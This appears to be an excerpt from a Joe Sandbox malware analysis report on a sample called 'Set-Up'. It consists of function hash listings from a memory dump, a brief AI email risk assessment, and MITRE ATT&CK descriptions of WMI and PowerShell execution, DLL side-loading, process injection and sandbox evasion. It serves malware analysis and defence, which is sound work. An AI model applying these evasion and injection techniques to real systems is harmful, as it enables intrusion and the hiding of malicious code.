Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38497d44470000ee9fcc859336ed22801eb943542c7eb1cc615da1f836350b6c
Instruction ID: 2c7ac9fc5db3bc122565cb6bc7dd9e777c3bbe4d2f6692ba7d061559269baf64
Opcode Fuzzy Hash: 38497d44470000ee9fcc859336ed22801eb943542c7eb1cc615da1f836350b6c
Instruction Fuzzy Hash: C481E4356083159BD728DF18D8A0A2AB3A2FFCA714F1596ACE9994B3A4DB30DC41CB45

Function 02691A0D Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42251d692354dfd52ce435ef53740070b8ec67c89a6dcadc2f1ac1a877d18898
Instruction ID: 994ee3403a48aee2c7ab9bb733f8e7305c6f949c7b3f281cd7bdcf2771c5420d
Opcode Fuzzy Hash: 42251d692354dfd52ce435ef53740070b8ec67c89a6dcadc2f1ac1a877d18898
Instruction Fuzzy Hash: 2AB1D572608B814BD3258A3C8895397BFE25F97220F1CCB6DD4FA877D2D674A50AC712

Function 026A1A13 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc79a81c81771d099c750c417915c1732432a56b0e021635e96a472084bc52c8
Instruction ID: 5eacf444f683b2e88b9dc9e3c6e99003ed976ffadeff1f943fa53b6b8009eb2d
Opcode Fuzzy Hash: dc79a81c81771d099c750c417915c1732432a56b0e021635e96a472084bc52c8
Instruction Fuzzy Hash: 3781E4346083059FC714DF58C8A0A6AB3E1EF4A354F5486ACF99ACB3A1EB34EC51CB45

Function 02669ED3 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 795926ef8fc14a2c93c04f78d5a71031c05420f03e45c06b2274c346253a555e
Instruction ID: 2690fcfda93d6e6645db81463c04281535d05862159425cdfdcc4455df3afbc8
Opcode Fuzzy Hash: 795926ef8fc14a2c93c04f78d5a71031c05420f03e45c06b2274c346253a555e
Instruction Fuzzy Hash: AC7127B7F047140BC718AEB9DD5536AB5C69BC8310F0E853DA899DB3A5FE79CC058680

Function 02682813 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: babe3d1755d3474727fdded1ea36a301ec1a721ad8d04755db8cbe12edb22fd9
Instruction ID: 46b48d77e0f27abc40ecf3963687ee17b24c8753d5588cbc46559d7904ac31a4
Opcode Fuzzy Hash: babe3d1755d3474727fdded1ea36a301ec1a721ad8d04755db8cbe12edb22fd9
Instruction Fuzzy Hash: 5E51F4B29042508BDB24AF25CCA277773E1EF85324F09876DEC869B391F378A905C791

Function 02695E53 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1cb9db4d7f94bceb6bff163517e2878c8d6aa86e3539579766f235d6c453a0c
Instruction ID: 93378103dcac928c31b912af02001a4201a8dfc6cfc68a60fcc41b32a11ec736
Opcode Fuzzy Hash: b1cb9db4d7f94bceb6bff163517e2878c8d6aa86e3539579766f235d6c453a0c
Instruction Fuzzy Hash: A461583764AAD04AD7298A3C4C50369BE974BD7134F6CC76DF5F68B3E1D9A64802C341

Function 0267E9E3 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4f7756c9b0e5f1f62d805da9bf8b2a3b64e803e4bca9016f370ddfd27ea83f1
Instruction ID: 21bcac0b6ba081b1f5461b491dd4a4f0366e39bbbd18c57fb15f32f85a251932
Opcode Fuzzy Hash: e4f7756c9b0e5f1f62d805da9bf8b2a3b64e803e4bca9016f370ddfd27ea83f1
Instruction Fuzzy Hash: 3D615D759083514FC7258F38D89092E7FE1AF96214F4882FEE8E547392D776D809CB52

Function 0268E084 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b88a1d1058076465499a42ebff92c847efc743f3cfb53bf8ea784308e4c9c76
Instruction ID: 26c68d1ae8102a72cbacb795b34f33ac29c5822cf630b83a74c4b4780641339e
Opcode Fuzzy Hash: 0b88a1d1058076465499a42ebff92c847efc743f3cfb53bf8ea784308e4c9c76
Instruction Fuzzy Hash: C641F370604B418BE7398B39C4A5733B7E2AF46218F148B6DE4EB8B791D776E406CB11

Function 0268E02D Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c7985d6794ebaebd6c467acbbf3d38f54ef654b639d912a1848b0491751e3a1
Instruction ID: e5cda636e2d763331073ebf4bf4fddd702205036d494af74e733260bad4219ed
Opcode Fuzzy Hash: 4c7985d6794ebaebd6c467acbbf3d38f54ef654b639d912a1848b0491751e3a1
Instruction Fuzzy Hash: 7C41D370604B418BE7398B3984A1733B7E1AF46218F148B6DE4FB87791D776E409CB51

Function 0269DD13 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32cc4a856d736fd915fb282d82f509d6a5d66d3abc429cb659c8db94fb856eb2
Instruction ID: af5e587b7859dc039145f50a0b520a2481914cc9dd2229f65bd5f3895910b8fb
Opcode Fuzzy Hash: 32cc4a856d736fd915fb282d82f509d6a5d66d3abc429cb659c8db94fb856eb2
Instruction Fuzzy Hash: 1051E8356142009BDF14EF1CC88066977AAEF85728F59867CD8A8973D5DF309C05C7D1

Function 0269A943 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69b6be0acb635b85789ca07155010b2c1b030a9d82f47ce89ba1795e050a5917
Instruction ID: 12f4d6102b187d2232a26260678b11b71231013eda0292c3c90a78bcdce99ed9
Opcode Fuzzy Hash: 69b6be0acb635b85789ca07155010b2c1b030a9d82f47ce89ba1795e050a5917
Instruction Fuzzy Hash: CD414F36B002109FDB285AA99E8163A76DFEFC5334F5A923CE995D33E0EF305C018594

Function 0267A2C3 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aec2acff71fde6826510dd7c4aeb0e908d688b890f5bd8b3e6bb8bb04964ee1a
Instruction ID: 0486081db79d42a1ec25eb1b524e3d3d3b06410e2b147b3f1efb92cb5a715e7e
Opcode Fuzzy Hash: aec2acff71fde6826510dd7c4aeb0e908d688b890f5bd8b3e6bb8bb04964ee1a
Instruction Fuzzy Hash: 6E51B1442082914ADB049FB49A9573A3BF09F4A301F4D60DEEC98CF767D2B8C216CB9D

Function 0268E06F Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2016e20f851c104c7ebc3b420ca17d5e6873617b60da92eeb588842b1f5b2ce
Instruction ID: 1ae818d50e38b8fd5d1b127c8ce65aff7699fafa56f95e810bb8eddeb6d4d9aa
Opcode Fuzzy Hash: f2016e20f851c104c7ebc3b420ca17d5e6873617b60da92eeb588842b1f5b2ce
Instruction Fuzzy Hash: 3741D270604B418BD3398B2984E1733BBE2AF86214F188B6DD4EB8B791D775A40ACB51

Function 0269BA03 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcf3e5265b5605ac20fddce86502c20c53551576565d2eff4337af025c1cea6f
Instruction ID: bb987c8111ff5b951e81691e0acfe4a7415121f8417e5204f41da4a5c805f33a
Opcode Fuzzy Hash: fcf3e5265b5605ac20fddce86502c20c53551576565d2eff4337af025c1cea6f
Instruction Fuzzy Hash: 39310AB1A05304ABDB10EA14EC40B3FB7ADEF8135CF15452DF98993294EF71D8018A96

Function 0269BB73 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7258981f33c1098659e45e2976be17e8829b3d32921120869724e1ccdb8fca92
Instruction ID: ca9ebd539a8b27b606d2aa0b934e3b2fc22d6a65b05437687359c599d7a90407
Opcode Fuzzy Hash: 7258981f33c1098659e45e2976be17e8829b3d32921120869724e1ccdb8fca92
Instruction Fuzzy Hash: 2B413972A187148FDB19DE79AC4022ABB925BC2334F19CB3DD9B1873C5EE745C428285

Function 02685DBC Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48fd080354c4111ba3f14b667f89aae08571e1ebcf70d3215a1b5262a3ecef56
Instruction ID: 7c6cee5666513a20310c2c88d0f0628e887f45d72e9e5d33b8c6d1a57b371d9a
Opcode Fuzzy Hash: 48fd080354c4111ba3f14b667f89aae08571e1ebcf70d3215a1b5262a3ecef56
Instruction Fuzzy Hash: A341A8726083409BD319DF29881275FBBD3ABD5314F66C92DE4BA9F290DB7488058BC2

Function 0268A21C Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abbc15c16e40801a39e29b83d3837b67f23d210eeadbca897dbb10089078cc3c
Instruction ID: 71e701f53ce0e5c7bb5591586df1dc1d230176498bea81ef2803a9f2e134d3aa
Opcode Fuzzy Hash: abbc15c16e40801a39e29b83d3837b67f23d210eeadbca897dbb10089078cc3c
Instruction Fuzzy Hash: 7031C0719493028BD324DF94D4A172BB7F2FFC2710F189A1DE9858B790E3B89940C796

Function 02676F38 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f0a45a65bf0fd4734822ff7fe5a59ec2cd7bdbe4a0e010c4b9e8ab3884fc6c7
Instruction ID: f53bde46216998b597d061fea3ecc553095093e427599091a5730ad6287be20b
Opcode Fuzzy Hash: 0f0a45a65bf0fd4734822ff7fe5a59ec2cd7bdbe4a0e010c4b9e8ab3884fc6c7
Instruction Fuzzy Hash: 0C31047190C3D08AD726CA3894907EBBBD19B9B314F0887BDD8DA57282C77508068B57

Function 02660FA6 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b09967ac5482500bc099009dc95111bd7cc7545dcabcf40ba633cd1a509d9f95
Instruction ID: 11a7c17262d7d2cd561e1708d62a2b132e3b93a11c7254e80be220486d50d396
Opcode Fuzzy Hash: b09967ac5482500bc099009dc95111bd7cc7545dcabcf40ba633cd1a509d9f95
Instruction Fuzzy Hash: D0516074E01149DFCF08CF88C594AAEB7B2FF89314F208199D815AB355D731AE82DBA4

Function 0268AC53 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8662de38b591972a8ea6a9eca85343cf9e09664f82628cdfccac61bab0cf2ed8
Instruction ID: 506fa5e7a6b4fe4804db0a5883447527ac3758b081f366265cd1e2529fbb846e
Opcode Fuzzy Hash: 8662de38b591972a8ea6a9eca85343cf9e09664f82628cdfccac61bab0cf2ed8
Instruction Fuzzy Hash: C231AD7064C3848FE320DF659940B2BBBE5FBC1340F109A2CF6959B296D7B48806CF86

Function 0268ED3A Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43895a91d46f8a936d84da7460f0ed00643bec6a88d39a8d376dd45b8bd38597
Instruction ID: fb89839a6dd38c0553e75eb94896e19c9a06901257d7342b7af6d54ceedfda11
Opcode Fuzzy Hash: 43895a91d46f8a936d84da7460f0ed00643bec6a88d39a8d376dd45b8bd38597
Instruction Fuzzy Hash: 6521E036508B818FD3198F29C414722FBE2AF8B305F19C99DE0D68B792C735E442CB61

Function 02660FA5 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e64317625e06953a0030493f718403388be9115d8c6a0e5777c3d8d6dbedd3d
Instruction ID: 63fc030c65925ab2ee2f0da06019b1c1d97cbd62b572b56002efd5ab37241a0e
Opcode Fuzzy Hash: 4e64317625e06953a0030493f718403388be9115d8c6a0e5777c3d8d6dbedd3d
Instruction Fuzzy Hash: 86319074E00249DFCF08CF98C594AAEBBB1FF48314F208599D815AB345D735AA82CF90

Function 02698403 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 10e4f8aa2901fd606f5a16a423acf64a847378472282777745d2e56f0db3cdb1
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 0A11A533A091D44ECB168D3C8400669BFE70ED3935B5D839DF4B99B2D2DA228D8B8795

Function 0268B723 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 276bca81c44e664fb009e75ba3e45cc9ffbfaba949d76c34811835b3f71296ce
Instruction ID: 33688ddf9c7855bab766782b1e454bd673b3488f56d2775b2e8238e0be64ca6d
Opcode Fuzzy Hash: 276bca81c44e664fb009e75ba3e45cc9ffbfaba949d76c34811835b3f71296ce
Instruction Fuzzy Hash: D1018FF2A023015BD720BE64D8C4B3BB2A9AF85708F1A463DD80997301DB75E805CBE9

Function 0268A0FA Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7068e91973c878184610e640c886df27077b614ba5e7279c48a0976fd363b6d8
Instruction ID: 93394d96f33825b7b0c54d895a8f9ed34f4e0f2bd9441f78b313453036178ead
Opcode Fuzzy Hash: 7068e91973c878184610e640c886df27077b614ba5e7279c48a0976fd363b6d8
Instruction Fuzzy Hash: 7F213B725083658FD729CF19805139FB7F2EFC5304F02C92DE9A96B241C77899099B82

Function 0267AF0D Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 699f4cbd91092393ec30f4ff9fc52745e8e160dca32a8b1e8d23c31d6ae4fc71
Instruction ID: ec907f28f503498cb1c3996ddb0aa7ec31571e45ce203ad4d4e38835fd15db42
Opcode Fuzzy Hash: 699f4cbd91092393ec30f4ff9fc52745e8e160dca32a8b1e8d23c31d6ae4fc71
Instruction Fuzzy Hash: F101C4604083818FD7048F34E05436AFFE09B93228F14596CE0E1A72D1D77E854A8B56

Function 02677C3F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d47bdd5aec2992313b6344c61841ca958080c94a2704c8401108f5d0bcd4d3bd
Instruction ID: 4f1088189625b141162a927e34427e50ff40950e3a369b017a5efab5915ea565
Opcode Fuzzy Hash: d47bdd5aec2992313b6344c61841ca958080c94a2704c8401108f5d0bcd4d3bd
Instruction Fuzzy Hash: 15110273D183508BD324CF65888125FBAE3ABD6315F1E9A2DD8C86B345EB34C9018F86

Function 02676DDB Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7abd3c26ff4761bb6fae935328d8b6923467e87289fdee5c6a5f97f3068b99da
Instruction ID: 8b9b7df8bf3db325891ad0715df7dec66861a7cb2f37bdf16df49460cf7b961e
Opcode Fuzzy Hash: 7abd3c26ff4761bb6fae935328d8b6923467e87289fdee5c6a5f97f3068b99da
Instruction Fuzzy Hash: C2019678608D02EFD61CCB15FC50639736BFF86315F95612DE011432A0EB30EC128AE5

Function 0269DEF3 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a78e6a5774d95e3ba45326436c4b60af09f567f47d226317dfa88d05f65f7b3
Instruction ID: 2b9b23dd9d2c0c11bcaf42672971bf86ec3f59627d8270b029dc66f49a97901a
Opcode Fuzzy Hash: 5a78e6a5774d95e3ba45326436c4b60af09f567f47d226317dfa88d05f65f7b3
Instruction Fuzzy Hash: 67F0D675504208BBC5106A459C42E3BB3ADEB8A768F004228F558522A0EB32AD11C7A5

Function 02660D06 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f432f6d4d57ddd5edf10f0a55197208a6667e030cc273150dee4b63bd6a15e3
Instruction ID: a6b18ffdf8ce06eb661d84a3debc160f178f08dfa1035f4ce581cbfcdb854e14
Opcode Fuzzy Hash: 2f432f6d4d57ddd5edf10f0a55197208a6667e030cc273150dee4b63bd6a15e3
Instruction Fuzzy Hash: 0401B634A11108EFCB59DF98C188AADB7B6FB44314F2082A9D8159B395D732BF82DB40

Function 0268D7B7 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25d000e463c57a1a80714d6ce2da4a65b8b271db5d552b58e00d6b4e676053cc
Instruction ID: 3bc580ba0ed79d18b5fccde906d2f3d195219191bf79d41092c26e5caa38626a
Opcode Fuzzy Hash: 25d000e463c57a1a80714d6ce2da4a65b8b271db5d552b58e00d6b4e676053cc
Instruction Fuzzy Hash: 63F08225A482818EE7428F3D85A0361BFE09B07208B2CA59AC0D6CB385C630D905CB24

Function 02686D03 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d638b97ca2149928eef29007ea07e5ae8e87940d2f46de0171ea5673d5f0ac0b
Instruction ID: 319bfff5094324c4857b9c63ba86870172426d71264dc95f98197df347ccca03
Opcode Fuzzy Hash: d638b97ca2149928eef29007ea07e5ae8e87940d2f46de0171ea5673d5f0ac0b
Instruction Fuzzy Hash: 7AF0823CD00100DFDF1D9B01D840639B3B6EF46319FA5426CD45967260DB306C41CA88

Function 0267EC53 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdc82e780b2de41d6daf322c7f87531531dd3e428136dcbfe8afa83da9d70439
Instruction ID: 42aeebcabe92806ab7cf01d3e879309ef7730c826d3afb853b1d4670c75ebac4
Opcode Fuzzy Hash: fdc82e780b2de41d6daf322c7f87531531dd3e428136dcbfe8afa83da9d70439
Instruction Fuzzy Hash: 37E02BAEF19BA10E5719CE3558E02B7F7E56AC7226F1CB5ADD4A2D3204C229C4054254

Function 0266D863 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 432b1d924aba34063a45d34f1e66d74eaa1e67bb46e942c1bced09293eef6ae5
Instruction ID: d5c999cf0494496b04d19a579733f564c19ee53c308e5d08e7400ab59b4f9827
Opcode Fuzzy Hash: 432b1d924aba34063a45d34f1e66d74eaa1e67bb46e942c1bced09293eef6ae5
Instruction Fuzzy Hash: 30D05ED4A040047B9268AA2ADC4AE3379FCC747A55F006128F84693394D411DC5182EE

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre
